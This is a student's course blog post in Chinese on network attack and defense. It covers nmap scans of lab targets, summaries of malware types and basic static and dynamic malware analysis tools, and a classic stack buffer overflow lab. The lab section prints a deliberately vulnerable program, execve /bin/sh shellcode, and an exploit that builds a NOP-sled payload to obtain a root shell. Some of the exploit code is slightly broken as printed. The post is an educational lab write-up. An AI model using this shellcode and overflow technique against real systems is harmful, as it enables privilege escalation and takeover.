20169217 2016-2017-2 《网络攻防实践》第九周学习总结

实践内容

nmap扫描端口

    首先查看windows靶机地址 ip地址为222.28.133.127

    靶机使用的操作系统是windows 2000

    使用nmap -O 222.28.133.127 查看靶机的活跃端口,同样可以查看其开设了那些服务

    使用nmap -sS 222.28.133.127 查看其tcp端口

    使用nmap -sU 222.28.133.127 查看其udp端口

    接下来是linux靶机,其实linux靶机操作基本类似,所以我试着挑战一下难度,使用nmap扫描了一台正常的unbantu linux虚拟机

    首先查看linux虚拟机IP地址192.168.200.3

    接下来同样使用nmap 扫描linux靶机,这是我惊奇的发现linux靶机竟然所有端口都是关闭的,这也是我本次实践遇到的最大问题,为啥一台linux主机的端口在没有设置的情况下要全部关闭?

   

 

教材内容总结

  谍件

  谍件(Spyware)与商业产品软件有关,有些商业软件产品在安装到用户机器上的时候,未经用户授权就通过Internet连接,让用户方软件与开发商软件进行通信,这部分通信软件就叫做谍件。用户只有安装了基于主机的防火墙,通过记录网络活动,才可能发现软件产品与其开发商在进行定期通讯。谍件作为商用软件包的一部分,多数是无害的,其目的多在于扫描系统,取得用户的私有数据。

 远程访问特洛伊

  远程访问特洛伊RAT 是安装在受害者机器上,实现非授权的网络访问的程序,比如NetBus 和SubSeven 可以伪装成其他程序,迷惑用户安装,比如伪装成可以执行的电子邮件,或者Web下载文件,或者游戏和贺卡等,也可以通过物理接近的方式直接安装。

 僵尸程序

  恶意代码不都是从内部进行控制的,在分布式拒绝服务攻击中,Internet的不少 站点受到其他主机上僵尸程序的攻击。僵尸程序可以利用网络上计算机系统的安全漏洞将自动攻击脚本安装到多台主机上,这些主机成为受害者而听从攻击者指挥,在某个时刻,汇集到一起去再去攻击其他的受害者。

  非法访问权限

  口令破解、网络嗅探和网络漏洞扫描是公司内部人员侦察同事,取得非法的资源访问权限的主要手段,这些攻击工具不是自动执行, 而是被隐蔽地操纵。

  键盘记录程序

   某些用户组织使用PC活动监视软件监视使用者的操作情况,通过键盘记录,防止雇员不适当的使用资源,或者收集罪犯的证据。这种软件也可以被攻击者用来进行信息刺探和网络攻击。

   P2P 系统

    基于Internet的点到点 (peer-to-peer)的应用程序比如 Napster、Gotomypc、AIM 和 Groove,以及远程访问工具通道像Gotomypc,这些程序都可以通过HTTP或者其他公共端口穿透防火墙,从而让雇员建立起自己的VPN,这种方式对于组织或者公司有时候是十分危险的。因为这些程序首先要从内部的PC 远程连接到外边的Gotomypc 主机,然后用户通过这个连接就可以访问办公室的PC。这种连接如果被利用,就会给组织或者企业带来很大的危害。

   逻辑炸弹和时间炸弹

    逻辑炸弹和时间炸弹是以破坏数据和应用程序为目的的程序。一般是由组织内部有不满情绪的雇员植入, 逻辑炸弹和时间炸弹对于网络和系统有很大程度的破坏。

  

   恶意代码分析

  

    要能够对恶意代码进行分析,需要掌握大量的知识,以及较强的代码逆向分析能力,代码调试能力。要分析恶意软件执行了哪些行为,首先需要知道恶意软件常见的一些行为,如反弹shell,进程感染,文件隐藏,信息收集等。而要弄清这些行为,恶意软件需要对文件,注册表,进程进行操作,同时恶意软件要对感染的主机下发指令,传输收集到的信息,通常需要建立网络连接。要更准确的分析需要知道使用了哪些WinAPI实现了这些功能。  对于初级的分析方法,只要掌握常见的知识,以及一些工具的使用即可快速的掌握。如可以使用工具分析文件的hash值,字符串,函数表,函数库依赖关系。 另外可以运行恶意代码用工具监控恶意软件对文件,注册表,网络,进程的访问与操作。要深入到代码层级去分析恶意代码,需要代码逆向分析的能力,需要读的懂汇编代码,熟练使用IDA进行分析,熟练使用ollydbg等调试工具。  

    一、静态分析基础技术

    1、可通过用软件计算恶意程序MD5值,然后检索该MD5值来获取信息并作为标签使用  【md5deep winmd5】

    2、通过检索恶意代码字符串获得相应的功能调用解释、功能行为及模块调用。当可检索字符串非常少时,有可能被加壳处理,(注意"LoadLibrary"和"GetProcAddress"两个字符串,它们是用来加载或调用其他函数功能的),此时需要用外壳检测工具进行检测、脱壳处理  【字符串检索:Strings  外壳检测:PEiD】

    3、PE文件头中包含代码信息,恶意代应用程序类型,所需库函数与空间要求,非常有用。可通过工具检索其动态链接库(函数),然后再MSDN文档库中查找其功能。【动态链接(库)函数检索:Dependency Walker、  PEview、  PEBrowse Professional、PE Explorer】

    4、查看可疑代码的的资源节来获得一部分可见的特征,如图标、菜单界面、代码版本等【ResourceHacker(可将嵌入文件提取出来)】

  

    二、动态分析基础技术

    1、配置“沙箱”环境,模拟真实执行结果【Norman沙箱、GFI沙箱、Joe沙箱、ThreatExpert、BitBlaze、Comodo恶意代码分析】(以GFI为例) ??***沙箱的缺点*** 沙箱只能自动简单的运行可执行程序,对待需要提供命令行参数或需要特定条件的后门程序,将无法被启动和分析,可能无法得出测试结果,还有可能与操作系统,文件调用等因素有关联,导致不能完整的甚至准确的得到分析结果。

    2、Dll类型文件的启动运行 windows命令行环境下用rundll32.exe程序调用,格式如下: "rundll32.exe DllName,Export arguments" *DllName:Dll文件名* *Export:一个Dll文件导出函数表中的函数名或序号,通过工具查看【PEview、PE Exporer】

    3、对运行起来的恶意代码,可以用一些系统监视类软件捕获其系统调用,从捕获的信息中就可以得到其对注册表,文件读写等一系列操作,便于进一步分析,【processmonitor、process explorer、regshot】

    4、必要的时候,需要从本机模拟出一个虚拟的网络应答来响应恶意代码的网络访问,监控其网络动态,从而了解网络相关特性【Apate Dns(检测恶意代码的域名访问)、netcat(网络监听)、wireshark嗅探器、INetSim(模拟网络服务,linux环境)】

    基础分析技术主要是一些基础工具的应用,从最基本的字符串及基本行为分析入手,做最基础的行为分析概述,然后对行为梗概运用高级分析技术予以分析及验证,高级分析技术包括动态和静态分析两个方面,会在以后的总结中予以提出。

缓冲区攻击的原理

一. 缓冲区溢出的原理

  通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

例如下面程序:

void function(char *str) 

{

 char buffer[16];

 strcpy(buffer,str);

 }


    上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。

    当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。   缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

   shellcode编写

    Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就十分重要。 缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

实验楼网络攻防课就有相关实验,我们就以实验楼上的shellcode为例进行实验。

shellcode.c在Linux下生成一个shell

#include <unistd.h>
int main()
{
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
        _exit(0);
}

 

    漏洞程序

    stack.c,保存到 /tmp 目录下

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)

 {

 char buffer[12];

/* The following statement has a buffer overflow problem */

 strcpy(buffer, str);

return 1; 

}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

 

攻击程序

exploit.c,保存到 /tmp 目录下

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
//获得一个shell
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80

oid main(int argc, char **argv) { char buffer[517]; FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */ 

memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

 strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

\x90\x90\x90\x90\x94\xd0\xff\xff");// 地址为根据实验结果算出的。 

strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */

 badfile = fopen("./badfile", "w"); 

fwrite(buffer, 517, 1, badfile);

 fclose(badfile); 

}

 

    用以下命令得到shellcode在内存中的地址

    GDB disassemble可以反汇编一个函数。

    gdb stack

    disass main

结果如图:

编译exploit.c程序:

gcc -m32 -o exploit exploit.c

先运行攻击程序exploit,再运行漏洞程序stack。 用whoami命令验证一下自己现在的身份。

posted @ 2017-04-28 21:51  刘弘毅  阅读(254)  评论(0编辑  收藏  举报